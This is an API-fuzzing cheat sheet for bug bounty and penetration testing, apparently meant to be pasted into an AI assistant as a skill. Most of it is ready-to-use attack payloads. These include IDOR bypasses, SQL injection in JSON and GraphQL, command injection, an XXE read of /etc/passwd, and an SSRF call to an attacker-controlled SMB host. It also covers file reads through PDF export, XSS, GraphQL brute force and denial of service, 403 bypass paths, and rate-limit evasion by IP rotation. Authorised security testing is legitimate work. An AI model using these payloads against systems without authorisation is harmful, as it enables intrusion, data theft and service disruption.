API Fuzzing for Bug Bounty

Purpose

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Inputs/Prerequisites

Burp Suite or similar proxy tool
API wordlists (SecLists, api_wordlist)
Understanding of REST/GraphQL/SOAP protocols
Python for scripting
Target API endpoints and documentation (if available)

Outputs/Deliverables

Identified API vulnerabilities
IDOR exploitation proofs
Authentication bypass techniques
SQL injection points
Unauthorized data access documentation

API Types Overview

Type Protocol Data Format Structure

SOAP HTTP XML Header + Body

REST HTTP JSON/XML/URL Defined endpoints

GraphQL HTTP Custom Query Single endpoint

Core Workflow

Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

Check for Swagger/OpenAPI documentation

/swagger.json /openapi.json /api-docs /v1/api-docs /swagger-ui.html

Use Kiterunner for API discovery

kr scan https://target.com -w routes-large.kite

Extract paths from Swagger

python3 json2paths.py swagger.json

Step 2: Authentication Testing

Test different login paths

/api/mobile/login /api/v3/login /api/magic_link /api/admin/login

Check rate limiting on auth endpoints

If no rate limit → brute force possible

Test mobile vs web API separately

Don't assume same security controls

Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

Basic IDOR

GET /api/users/1234 → GET /api/users/1235

Even if ID is email-based, try numeric

/?user_id=111 instead of /?user_id=user@mail.com

Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

Wrap ID in array

{"id":111} → {"id":[111]}

JSON wrap

{"id":111} → {"id":{"id":111}}

Send ID twice

URL?id=<LEGIT>&id=<VICTIM>

Wildcard injection

{"user_id":"*"}

Parameter pollution

/api/get_profile?user_id=<victim>&user_id=<legit> {"user_id":<legit_id>,"user_id":<victim_id>}

Step 4: Injection Testing

SQL Injection in JSON:

{"id":"56456"} → OK {"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK {"id":"56456 AND 1=3#"} → ERROR (vulnerable!) {"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC

Command Injection:

Ruby on Rails

?url=Kernel#open → ?url=|ls

Linux command injection

api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

.NET Path.Combine Vulnerability:

If .NET app uses Path.Combine(path_1, path_2)

Test for path traversal

https://example.org/download?filename=a.png https://example.org/download?filename=C:\inetpub\wwwroot\web.config https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Step 5: Method Testing

Test all HTTP methods

GET /api/v1/users/1 POST /api/v1/users/1 PUT /api/v1/users/1 DELETE /api/v1/users/1 PATCH /api/v1/users/1

Switch content type

Content-Type: application/json → application/xml

GraphQL-Specific Testing

Introspection Query

Fetch entire backend schema:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

Try accessing other user IDs

query { user(id: "OTHER_USER_ID") { email password creditCard } }

GraphQL SQL/NoSQL Injection

mutation { login(input: { email: "test' or 1=1--" password: "password" }) { success jwt } }

Rate Limit Bypass (Batching)

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}} mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}} mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

GraphQL DoS (Nested Queries)

query { posts { comments { user { posts { comments { user { posts { ... } } } } } } } }

GraphQL XSS

XSS via GraphQL endpoint

http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

URL-encoded XSS

http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

GraphQL Tools

Tool Purpose

GraphCrawler Schema discovery

graphw00f Fingerprinting

clairvoyance Schema reconstruction

InQL Burp extension

GraphQLmap Exploitation

Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

Original blocked request

/api/v1/users/sensitivedata → 403

Bypass attempts

/api/v1/users/sensitivedata.json /api/v1/users/sensitivedata? /api/v1/users/sensitivedata/ /api/v1/users/sensitivedata?? /api/v1/users/sensitivedata%20 /api/v1/users/sensitivedata%09 /api/v1/users/sensitivedata# /api/v1/users/sensitivedata&details /api/v1/users/..;/sensitivedata

Output Exploitation

PDF Export Attacks

<iframe src="file:///etc/passwd" height=1000 width=800>

<object data="http://127.0.0.1:8443"/>

<img src="http://127.0.0.1:445"/>

<img src="https://iplogger.com/yourcode.gif"/>

DoS via Limits

Normal request

/api/news?limit=100

DoS attempt

/api/news?limit=9999999999

Common API Vulnerabilities Checklist

Vulnerability Description

API Exposure Unprotected endpoints exposed publicly

Misconfigured Caching Sensitive data cached incorrectly

Exposed Tokens API keys/tokens in responses or URLs

JWT Weaknesses Weak signing, no expiration, algorithm confusion

IDOR / BOLA Broken Object Level Authorization

Undocumented Endpoints Hidden admin/debug endpoints

Different Versions Security gaps in older API versions

Rate Limiting Missing or bypassable rate limits

Race Conditions TOCTOU vulnerabilities

XXE Injection XML parser exploitation

Content Type Issues Switching between JSON/XML

HTTP Method Tampering GET→DELETE/PUT abuse

Quick Reference

Vulnerability Test Payload Risk

IDOR Change user_id parameter High

SQLi ' OR 1=1-- in JSON Critical

Command Injection ; ls /

Critical

XXE DOCTYPE with ENTITY High

SSRF Internal IP in params High

Rate Limit Bypass Batch requests Medium

Method Tampering GET→DELETE High

Tools Reference

Category Tool URL

API Fuzzing Fuzzapi github.com/Fuzzapi/fuzzapi

API Fuzzing API-fuzzer github.com/Fuzzapi/API-fuzzer

API Fuzzing Astra github.com/flipkart-incubator/Astra

API Security apicheck github.com/BBVA/apicheck

API Discovery Kiterunner github.com/assetnote/kiterunner

API Discovery openapi_security_scanner github.com/ngalongc/openapi_security_scanner

API Toolkit APIKit github.com/API-Security/APIKit

API Keys API Guesser api-guesser.netlify.app

GUID GUID Guesser gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18

GraphQL InQL github.com/doyensec/inql

GraphQL GraphCrawler github.com/gsmith257-cyber/GraphCrawler

GraphQL graphw00f github.com/dolevf/graphw00f

GraphQL clairvoyance github.com/nikitastupin/clairvoyance

GraphQL batchql github.com/assetnote/batchql

GraphQL graphql-cop github.com/dolevf/graphql-cop

Wordlists SecLists github.com/danielmiessler/SecLists

Swagger Parser Swagger-EZ rhinosecuritylabs.github.io/Swagger-EZ

Swagger Routes swagroutes github.com/amalmurali47/swagroutes

API Mindmap MindAPI dsopas.github.io/MindAPI/play

JSON Paths json2paths github.com/s0md3v/dump/tree/master/json2paths

Constraints

Must:

Test mobile, web, and developer APIs separately
Check all API versions (/v1, /v2, /v3)
Validate both authenticated and unauthenticated access

Must Not:

Assume same security controls across API versions
Skip testing undocumented endpoints
Ignore rate limiting checks

Should:

Add X-Requested-With: XMLHttpRequest header to simulate frontend
Check archive.org for historical API endpoints
Test for race conditions on sensitive operations

Examples

Example 1: IDOR Exploitation

Original request (own data)

GET /api/v1/invoices/12345 Authorization: Bearer <token>

Modified request (other user's data)

GET /api/v1/invoices/12346 Authorization: Bearer <token>

Response reveals other user's invoice data

Example 2: GraphQL Introspection

curl -X POST https://target.com/graphql
-H "Content-Type: application/json"
-d '{"query":"{__schema{types{name,fields{name}}}}"}'

Troubleshooting

Issue Solution

API returns nothing Add X-Requested-With: XMLHttpRequest header

401 on all endpoints Try adding ?user_id=1 parameter

GraphQL introspection disabled Use clairvoyance for schema reconstruction

Rate limited Use IP rotation or batch requests

Can't find endpoints Check Swagger, archive.org, JS files

api fuzzing for bug bounty

Safety Notice

Copy this and send it to your AI assistant to learn